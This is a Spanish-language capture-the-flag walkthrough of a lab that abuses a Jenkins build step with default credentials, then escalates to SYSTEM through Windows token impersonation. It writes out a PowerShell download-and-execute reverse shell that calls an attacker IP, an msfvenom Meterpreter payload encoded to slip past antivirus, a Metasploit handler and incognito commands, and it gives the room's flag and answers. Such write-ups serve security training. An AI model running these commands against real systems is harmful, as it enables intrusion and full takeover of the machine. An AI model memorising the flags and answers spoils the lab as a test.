Tarea 1. Acceso inicial

En esta habitación aprenderemos a explotar una mala configuración en un servidor de automatización usado ampliamente, Jenkins. Esta herramienta se utiliza para crear pipelines de desarrollo continuo e integración continua, que permite a los desarrolladores desplegar su código una vez han hecho un cambio en él.

Después de eso, usaremos un método interesante de escalada de privilegios para obtener acceso completo al sistema.

Como es una aplicación Windows, usaremos Nishang para obtener acceso inicial.

El repositorio contiene un grupo de scripts útiles para ese acceso inicial, enumeración y escalada de privilegios. En este caso, usaremos scripts de shell inversa.

¿Cuántos puertos hay abiertos? (Solo TCP)

3

¿Cuál es el nombre de usuario y contraseña para el panel de identificación? Dicho panel está en el puerto 8080. De churro he puesto admin:admin y funciona, pero veamos si encontramos esas credenciales, porque de intuición no se vive.

Las credenciales por defecto son admin:password, pero ya ves.

admin:admin

Encuentra una prestación en la herramienta que te permita ejecutar comandos en el sistema que corre por debajo.

Cuando encuentres esta característica, puedes usar este comando para obtener una shell inversa hacia tu máquina y luego correr:

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

La pista nos dice que echemos un vistazo a la pestaña Configure bajo las opciones del proyecto.

Allí vemos que cuando se construye (build) un proyecto nos deja ejecutar código.

Lo primero que tenemos que hacer es descargar ese script de Powershell, crear un servidor web con Python es lo más conveniente.

Vamos por pasos. Nos vamos a la página de Nishang en Github. Allí entramos a la carpete de Shells, que es donde está lo que nos interesa (Invoke-Powershell.ps1, mira el comando anterior a ejecutar).

Ahora hacemos:

python3 -m http.server 4001 # En el directorio donde tengamos el script
nc -lvnp 4000 # En otra ventana de terminal

Y ahora, en la parte de Configure del proyecto, dentro de la pestaña Build, construimos el comando que nos dice.

powershell iex (New-Object Net.WebClient).DownloadString('http://IP_Ataque:4001/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress IP_Ataque -Port 4000

Ahora pulsamos en Save y luego en Build Now dentro del menú lateral.

Y ya estamos dentro.

Dentro de C:\Users\Bruce\Desktop encontramos la bandera del usuario:

79007a09481963edf2e1321abd9ae2a0

Tarea 2. Cambiando shells

Para hacer más fácil la escalada de privilegios, cambiamos a una shell de Meterpreter siguiendo este proceso.

Usamos msfvenom para crear una shell inversa de Meterpreter para Windows, usando este payload.

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe

Este payload genera un payload de tcp inversa de Meterpreter para x86-64 codificado. Los payloads están codificados normalmente para asegurar que se transmiten correctamente y también para evadir antivirus. Si este no lo reconoce, no lo puede señalar como malicioso.

Después de crear este payload, lo descargamos a la máquina usando el mismo método que en el paso previo.

powershell "(New-Object System.Net.WebClient).Downloadfile('http://IP_Ataque:puerto_web/shell-name.exe','shell-name.exe')"

Antes de ejecutar shell.exe, nos aseguramos de configurar el handler en Metasploit.

msfconsole # Iniciamos Metasploit
use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST IP_Ataque 
set LPORT Puerto_Escucha 
run

Ahora que lo tenemos, en la máquina comprometida debemos correr:

Start-Process "shell-name.exe"

Y eso debería darnos shell de Meterpreter.

Efectivamente, tenemos shell, que comprobamos ejecutando ls, por ejemplo.

¿Cuál es el tamaño final del payload exe que has generado?

73802

Tarea 3. Escalada de privilegios

Ahora que tenemos acceso inicial, usaremos personificación de tokens para ganar acceso al sistema.

Windows usa tokens para asegurarse de que las cuentas tienen privilegios para llevar a cabo ciertos acciones. Tokens de cuentas se asignan a una cuenta cuando los usuarios se identifican.

Esto lo hace, normalmente, LSASS.exe.

Este token de acceso consiste en:

  • SID’s de usuario (Identificador de Seguridad o Security Identifier).
  • SID’s de grupo.
  • Privilegios.

Se puede encontrar información más detallada, aquí.

Hay dos tipos de tokens de acceso:

  • Primarios: Asociados con una cuenta de usuario y que son generados con la autenticación.
  • Personificación (Impersonation): Los que permiten a un proceso particular (o hilo de ese proceso) ganar acceso a recursos usando el token de otro proceso de usaurio/cliente.

Para un token de personificación hay diferentes niveles:

  • SecurityAnonymous: el cliente/usuario actual no puede personificar a otro usuario/cliente.
  • SecurityIdentification: el actual cliente/usuario puede obtener la identidad y privilegios de un cliente, pero no puede personificar a un cliente.
  • SecurityImpersonation: el usuario/cliente actual puede personificar el contexto de seguridad del cliente en el sistema local.
  • SecurityDelegation: el usuario/cliente actual puede personificar el contexto de seguridad del cliente en un sistema remoto.

Donde el contexto de seguridad es una estructura de datos que contiene la información relevante de seguridad del usuario.

Los privilegios de una cuenta (que son dados a la cuenta cuando se crea o vienen heredados de un grupo) permiten a un usuario llevar a cabo acciones particulares.

Aquí están los privilegios más abusados:

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege

Más información aquí.

Observamos todos los privilegios con:

whoami /priv

Observando privilegios

Podemos ver que dos privilegios (SeDebugPrivilege y SeImpersonatePrivilege) están habilitados. Vamos a usar el módulo incógnito que nos permite explotar esta vulnerabilidad.

Introducimos en Metasploit:

load incognito # Si no funciona, podemos hacer use incognito y asegurarnos de que Metasploit está actualizado.

Pero al parecer, esta manera no funciona. Yuju. Esta shell es un asco y no va.

Para chequear los tokens disponibles, introduce:

list_tokens -g

Podemos ver que el token BUILTIN\Administrators está disponible. Usamos:

impersonate_token "BUILTIN\Administrators"

Para personificarlo. ¿Cuál es el output que obtienes cuando ejecutas getuid?

NT AUTHORITY\SYSTEM

Aunque tengamos un token de privilegios elevados, podemos no tener los permisos de un usuario privilegiado. Eso se debe a cómo gestiona Windows los permisos, usa el token primario del proceso y no el token personificado para determinar lo que el proceso puede hacer o no.

Asegúrate de que migras a un proceso con los permisos correctos, el más seguro es elegir services.exe y para eso:

ps # Permite ver los procesos y encontrar el PID de services.exe
migrate PID_Proceso # Para migrar a dicho proceso.

Lee el root.txt que hay en C:\Windows\System32\config